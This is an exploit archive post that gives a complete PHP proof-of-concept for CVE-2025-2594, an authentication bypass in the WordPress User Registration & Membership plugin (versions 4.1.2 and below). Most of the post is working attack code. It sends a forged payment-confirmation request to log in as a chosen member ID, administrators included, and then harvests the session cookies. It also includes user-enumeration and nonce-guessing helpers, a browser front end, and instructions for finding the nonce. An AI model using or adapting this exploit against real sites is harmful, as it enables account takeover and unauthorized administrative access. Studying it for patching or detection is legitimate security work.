============================================================================================================================================= | # Title : WordPress User Registration and Membership 4.1.2 authentication bypass vulnerability | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) | | # Vendor : https://wordpress.org/plugins/user-registration/ | ============================================================================================================================================= [+] References : https://packetstorm.news/files/id/195337/ & CVE-2025-2594 [+] Summary : WordPress User Registration & Membership Plugin versions 4.1.2 and below contain a critical authentication bypass vulnerability that allows unauthenticated attackers to gain unauthorized access to user accounts, including administrative privileges, by exploiting improper access control in the payment confirmation functionality. [+] POC : php poc.php target_url = rtrim($target_url, '/'); $this->member_id = $member_id; $this->nonce = $nonce; $this->user_agent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'; } public function banner() { echo "┌──────────────────────────────────────────────┐\n"; echo "│ WordPress Plugin User Registration <= 4.1.2 │\n"; echo "│ Authentication Bypass Exploit (CVE-2025-2594)│\n"; echo "│ PHP Port by indoushka │\n"; echo "└──────────────────────────────────────────────┘\n\n"; } public function exploit() { $this->banner(); $endpoint = $this->target_url . '/wp-admin/admin-ajax.php'; echo "[+] Target URL: {$endpoint}\n"; echo "[+] Member ID: {$this->member_id}\n"; echo "[+] Nonce: {$this->nonce}\n"; echo "[+] Attempting authentication bypass...\n\n"; $post_data = [ 'action' => 'user_registration_membership_confirm_payment', 'security' => $this->nonce, 'form_response' => '{"auto_login": true}', 'member_id' => $this->member_id ]; $ch = curl_init(); curl_setopt_array($ch, [ CURLOPT_URL => $endpoint, CURLOPT_POST => true, CURLOPT_POSTFIELDS => $post_data, CURLOPT_RETURNTRANSFER => true, CURLOPT_USERAGENT => $this->user_agent, CURLOPT_TIMEOUT => 10, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_FOLLOWLOCATION => true, CURLOPT_HEADER => true ]); $response = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); $error = curl_error($ch); curl_close($ch); if ($error) { echo "[-] Request failed: {$error}\n"; return false; } // Extract response body $header_size = curl_getinfo($ch, CURLINFO_HEADER_SIZE); $headers = substr($response, 0, $header_size); $body = substr($response, $header_size); echo "[*] HTTP Status Code: {$http_code}\n"; if ($http_code == 200 && strpos($body, '"success":true') !== false) { echo "[✓] EXPLOIT SUCCESSFUL! Authentication bypass achieved.\n"; echo "[!] Check your session/cookies - you may now be authenticated as the target user.\n\n"; // Extract cookies from headers $this->extract_cookies($headers); echo "Server Response:\n"; echo $body . "\n"; return true; } else { echo "[-] Exploit failed or invalid nonce/member_id.\n"; echo "Server Response:\n"; echo $body . "\n"; return false; } } private function extract_cookies($headers) { if (preg_match_all('/Set-Cookie:\s*([^;]+)/i', $headers, $matches)) { echo "[+] Cookies received:\n"; foreach ($matches[1] as $cookie) { echo " {$cookie}\n"; } echo "\n"; } } public function test_connectivity() { echo "[*] Testing connectivity to target...\n"; $ch = curl_init($this->target_url); curl_setopt_array($ch, [ CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 5, CURLOPT_USERAGENT => $this->user_agent ]); $response = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($http_code == 200) { echo "[+] Target is accessible\n"; return true; } else { echo "[-] Target may not be accessible (HTTP {$http_code})\n"; return false; } } } class NonceExtractor { public static function extract_nonce_from_page($target_url) { echo "[*] Attempting to extract nonce from registration page...\n"; $url = rtrim($target_url, '/') . '/wp-admin/admin-ajax.php'; $test_data = [ 'action' => 'user_registration_membership_confirm_payment', 'security' => 'test', 'member_id' => '1' ]; $ch = curl_init(); curl_setopt_array($ch, [ CURLOPT_URL => $url, CURLOPT_POST => true, CURLOPT_POSTFIELDS => $test_data, CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 10 ]); $response = curl_exec($ch); curl_close($ch); // Look for nonce in error messages if (preg_match('/nonce[^"]*["\']([a-f0-9]+)/i', $response, $matches)) { echo "[+] Possible nonce found: {$matches[1]}\n"; return $matches[1]; } echo "[-] Could not automatically extract nonce\n"; return null; } } class WordPressUserEnumerator { public static function enumerate_users($target_url) { echo "[*] Attempting to enumerate users...\n"; $methods = [ '/wp-json/wp/v2/users', '/?author=1', '/wp-json/oembed/1.0/embed?url=' . urlencode($target_url) ]; foreach ($methods as $method) { $url = $target_url . $method; $ch = curl_init($url); curl_setopt_array($ch, [ CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 5 ]); $response = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($http_code == 200) { echo "[+] User enumeration possible via: {$method}\n"; // Try to extract user IDs if (preg_match_all('/"id":\s*(\d+)/', $response, $matches)) { echo "[+] Found user IDs: " . implode(', ', $matches[1]) . "\n"; return $matches[1]; } } } echo "[-] Could not enumerate users automatically\n"; echo "[*] Common user IDs to try: 1 (admin), 2 (first user)\n"; return [1, 2]; } } // Command line interface if (php_sapi_name() === 'cli' && isset($argv[0]) && basename($argv[0]) === basename(__FILE__)) { if ($argc < 4) { echo "WordPress User Registration Plugin <= 4.1.2 Authentication Bypass (CVE-2025-2594)\n"; echo "==================================================================================\n"; echo "Usage: php " . $argv[0] . " \n"; echo "Example: php " . $argv[0] . " http://localhost/wordpress 1 abc123def456\n"; echo "\nAdditional options:\n"; echo "AUTO_NONCE=true - Attempt to automatically extract nonce\n"; echo "ENUMERATE_USERS=true - Attempt to enumerate users first\n"; echo "\nTo get the nonce:\n"; echo "1. Visit the user registration page\n"; echo "2. Look for '_confirm_payment_nonce' in the page source\n"; echo "3. Or check network requests for 'security' parameter\n"; exit(1); } $target_url = $argv[1]; $member_id = $argv[2]; $nonce = $argv[3]; $auto_nonce = getenv('AUTO_NONCE') === 'true'; $enumerate_users = getenv('ENUMERATE_USERS') === 'true'; try { $exploit = new WordPressUserRegistrationExploit($target_url, $member_id, $nonce); // Test connectivity first if (!$exploit->test_connectivity()) { exit(1); } // Auto-enumerate users if requested if ($enumerate_users) { $user_ids = WordPressUserEnumerator::enumerate_users($target_url); echo "\n"; } // Auto-extract nonce if requested if ($auto_nonce && empty($nonce)) { $extracted_nonce = NonceExtractor::extract_nonce_from_page($target_url); if ($extracted_nonce) { $exploit = new WordPressUserRegistrationExploit($target_url, $member_id, $extracted_nonce); } echo "\n"; } // Execute the exploit $success = $exploit->exploit(); if ($success) { echo "\n[+] Next steps:\n"; echo " 1. Check if you're logged in by visiting {$target_url}/wp-admin/\n"; echo " 2. Use the session cookies for further access\n"; echo " 3. Consider changing passwords and checking user privileges\n"; } } catch (Exception $e) { echo "[-] Error: " . $e->getMessage() . "\n"; exit(1); } } // Web interface for the exploit if (isset($_GET['web']) && $_GET['web'] === 'true') { ?> WordPress User Registration Auth Bypass (CVE-2025-2594)

WordPress User Registration Auth Bypass (CVE-2025-2594)

'; try { $exploit = new WordPressUserRegistrationExploit($target_url, $member_id, $nonce); $success = $exploit->exploit(); if ($success) { echo '

Exploit successful! Check your browser cookies.

'; } } catch (Exception $e) { echo '

Error: ' . $e->getMessage() . '

'; } echo '
'; } else { echo '

Please fill all required fields

'; } } ?>
Usually 1 for admin, 2 for first user
Find this in page source or network requests

How to Find the Nonce:

  1. Visit the WordPress user registration page
  2. Open browser developer tools (F12)
  3. Search for "_confirm_payment_nonce" in page source
  4. Or check Network tab for "security" parameter in AJAX requests

About CVE-2025-2594:

This vulnerability affects User Registration & Membership Plugin <= 4.1.2 and allows authentication bypass through improper access control in the payment confirmation functionality.

Greetings to :===================================================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)| ===================================================================================================